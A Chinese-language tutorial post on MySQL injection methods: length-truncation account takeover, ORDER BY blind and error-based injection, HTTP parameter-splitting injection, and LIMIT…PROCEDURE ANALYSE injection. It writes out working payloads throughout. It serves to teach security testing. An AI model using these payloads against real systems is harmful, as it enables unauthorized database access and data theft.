mysql注入之長字符截斷,orderby注入,HTTP分割注入,limit注入方式
長字符截斷/SQL約束攻擊
產(chǎn)生原因:在mysql中的一個設置里有一個sql_mode選項,當sql_mode設置為default時,即沒有開啟STRICT_ALL_TABLES選項時(MySQL默認 sql_mode為default),MySQL對插入超長的值只會提示warning,而不是error,這樣就會導致一些截斷問題。
例如:
一個表的username字段類型為varchar(7) 長度最多7個字符。
那么我們插入的時候將字符提高到8字符以上,它只取前7位,并且會彈出warning。
利用漏洞:
假設管理員的登錄名為admin,那么我們可以注冊一個“admin ”后面有八個空格用戶即可輕易進入后臺管理界面。
order by rand(True) /order by rand(False)盲注
產(chǎn)生原因:原語句類似為$id=$_GET['sort']; select * from users order by $id ;
利用漏洞:
- 報錯注入?sort=1 and updatexml(1,if(1=1,concat(0x7e,version()),2),1)
- 盲注 order by rand(True)和order by rand(False)的結果排序是不同的,可以根據(jù)這個不同來進行盲注。
例如:
- 布爾盲注:?sort= rand(database()='ujcms')
- 返回了True的排序,說明database()='ujcms'是正確的值
- 時間盲注 ?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
- 執(zhí)行結果睡眠2秒
HTTP分割注入
場景:
參數(shù)為username&password,查詢語句為
select xxx from xxx where username='xxx' and password ='xxx';
但是username參數(shù)過濾了注釋符,無法將后面的注釋掉,則可嘗試用內(nèi)聯(lián)注釋把password注釋掉,湊成一條新語句后注釋或閉合掉后面的語句:
當然這種注入的前提是單引號沒有被過濾
payload:username=1' or extractvalue /*'&password=1*/ (1,concat(0x7e,(select database()),0x7e))) or'
則查詢語句為
select * from users where username='1' or extractvalue /*' and password='1*/ (1,concat(0x7e,(select database()),0x7e)) or'';
過濾了空格,union,#,—+,/*,^,or,|
可以考慮將password作為函數(shù)的參數(shù)來閉合語句:
payload:username=admin' and(strcmp(&password=,'asdasdasdasdasdasd')) and '1
則查詢語句為
select * from users where username='admin' and(strcmp(' and password=','asdasdasdasdasdasd')) and '1';
strcmp比較,二者不一致返回True,一致返回False,而MySQL會將’1’判斷為數(shù)字1,即True,因此該查詢語句結果為True
limit注入
一般實際過程中使用 limit 時,大概有兩種情況,一種使用order by,一種就是不使用 order by關鍵字
不存在 order by 關鍵字
- 執(zhí)行語句 select id from users limit 0,1;
- 這種情況下的 limit 后面可以使用union進行聯(lián)合查詢注入
- 執(zhí)行語句 select id from users limit 0,1 union select username from users;
存在 order by 關鍵字
此方法適用于5.0.0< MySQL <5.6.6版本,在limit語句后面的注入
limit 關鍵字后面還可跟PROCEDURE和 INTO兩個關鍵字,但是 INTO 后面寫入文件需要知道絕對路徑以及寫入shell的權限,因此利用比較難,因此這里以PROCEDURE為例進行注入
使用 PROCEDURE函數(shù)進行注入,ANALYSE支持兩個參數(shù),首先嘗試一下默認兩個參數(shù)
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure
報錯,嘗試一下對其中一個參數(shù)進行注入,這里首先嘗試報錯注入
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
不存在回顯怎么辦,延遲注入呀,如果 select version(); 第一個為5,則多次執(zhí)行sha(1)達到延遲效果,這里不支持使用 sleep,所以需要使用BENCHMARK進行替代
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'
總結
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關文章
Mysql 出現(xiàn)故障應用直接中斷連接導致數(shù)據(jù)被鎖(生產(chǎn)故障)詳解
這篇文章主要介紹了 Mysql 出現(xiàn)故障應用直接中斷連接導致數(shù)據(jù)被鎖(生產(chǎn)故障)詳解的相關資料,需要的朋友可以參考下2017-01-01MySQL性能優(yōu)化之table_cache配置參數(shù)淺析
這篇文章主要介紹了MySQL性能優(yōu)化之table_cache配置參數(shù)淺析,本文介紹了它的緩存機制、參數(shù)優(yōu)化及清空緩存的命令等,需要的朋友可以參考下2014-07-07關于Mysql中文亂碼問題該如何解決(亂碼問題完美解決方案)
這篇文章給大家介紹關于Mysql中文亂碼問題該如何解決(亂碼問題完美解決方案)的相關資料,還給大家收集些關于MySQL會出現(xiàn)中文亂碼原因常見的幾點,小伙伴快來看看吧2015-11-11mysqladmin、mysqlshow、mysqlcheck的工具使用
我們一般使用mysql客戶端工具來進行日常的數(shù)據(jù)庫操作,本文主要介紹了mysqladmin、mysqlshow、mysqlcheck的工具使用,具有一定的參考價值,感興趣的可以了解一下2024-07-07